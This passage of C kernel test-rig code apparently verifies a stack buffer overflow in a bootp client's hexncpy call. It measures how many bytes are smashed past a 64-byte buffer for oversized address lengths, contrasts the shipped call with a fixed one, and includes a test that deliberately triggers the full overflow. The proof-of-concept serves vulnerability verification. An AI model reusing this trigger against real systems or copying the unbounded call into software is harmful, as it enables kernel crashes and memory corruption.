HEX_NCPYLEN(sdl->sdl_alen), ":"); n = df5_smashed(&first, &last); df_mark("DF3045 T5a: as-shipped form alen=22: HEX_NCPYLEN=66 into " "64-byte buffer: %d byte(s) past end (offsets %d..%d), " "pre intact=%d", n, first, last, df5.pre[0] == 0xAA); /* phase B: alen=106, still fully inside the post canary */ df5_fill(); sdl->sdl_alen = 106; hexncpy((u_char *)LLADDR(sdl), sdl->sdl_alen, df5_buf(df5.hexstr), HEX_NCPYLEN(sdl->sdl_alen), ":"); n = df5_smashed(&first, &last); df_mark("DF3045 T5b: alen=106: footprint=318: %d smashed bytes " "(offsets %d..%d), next intact post[%d]=0x%02x " "(scaling: alen=255 -> 701 bytes past end)", n, first, last, last + 1, df5.post[last + 1]); /* phase C: fixed call form -- bound by sizeof(hexstr) */ df5_fill(); sdl->sdl_alen = 106; hexncpy((u_char *)LLADDR(sdl), sdl->sdl_alen, df5_buf(df5.hexstr), sizeof(df5.hexstr), ":"); n = df5_smashed(&first, &last); df_mark("DF3045 T5c: fixed form (outlen=sizeof(hexstr)=64): %d " "smashed byte(s) past end (expected 0), pre intact=%d", n, df5.pre[0] == 0xAA); kfree(sdl, M_TEMP); } /* ---------------- DF-3045 in-situ full magnitude ---------------------- */ static void df_test50(void) { kprintf("dfrig12: DF3045 T50: in-situ bootpc_call with sdl_alen=255: " "hexncpy at :718-720 writes 765 bytes from hexstr[64] inside " "bootpc_call's own frame -> expect fatal trap\n"); df_test3(255); kprintf("dfrig12: DF3045 T50: SURVIVED bootpc_call (unexpected; " "see T5 canary measurement)\n"); } /* ---------------- sysctl dispatch -------------------------------------- */ static int sysctl_df_test(SYSCTL_HANDLER_ARGS) { int t, error; t = df_testno; error = sysctl_handle_int(oidp, &t, 0, req); if (error != 0 || req->newptr == NULL) return error; df_testno = t; df_status[0] = '\0'; kprintf("dfrig12: === test %d begin ===\n", t); switch (t) { case 1: df_test1(); break; case 2: df_test2(DF_MODE_BLIND, 9999); break; case 20: df_test2(DF_MODE_WRONGXID, 9999); break; case 21: df_test2(DF_MODE_SNIFF, 9999); break; case 22: df_test2(DF_MODE_SNIFF, 67); break; case 3: df_test3(17); break; case 4: df_test4(); break; case 5: df_test5(); break; case 50: df_test50(); break; default: strlcpy(df_status, "unknown test", sizeof(df_status)); break; } kprintf("dfrig12: === test %d end ===\n", t); return 0; } SYSCTL_PROC(_kern, OID_AUTO, dfrig12, CTLTYPE_INT | CTLFLAG_RW, &df_testno, 0, sysctl_df_test, "I", "DF rig 12 (bootp) test selector"); SYSCTL_STRING(_kern, OID_AUTO, dfrig12_status, CTLFLAG_RD, df_status, 0, "DF rig 12 last-test status markers");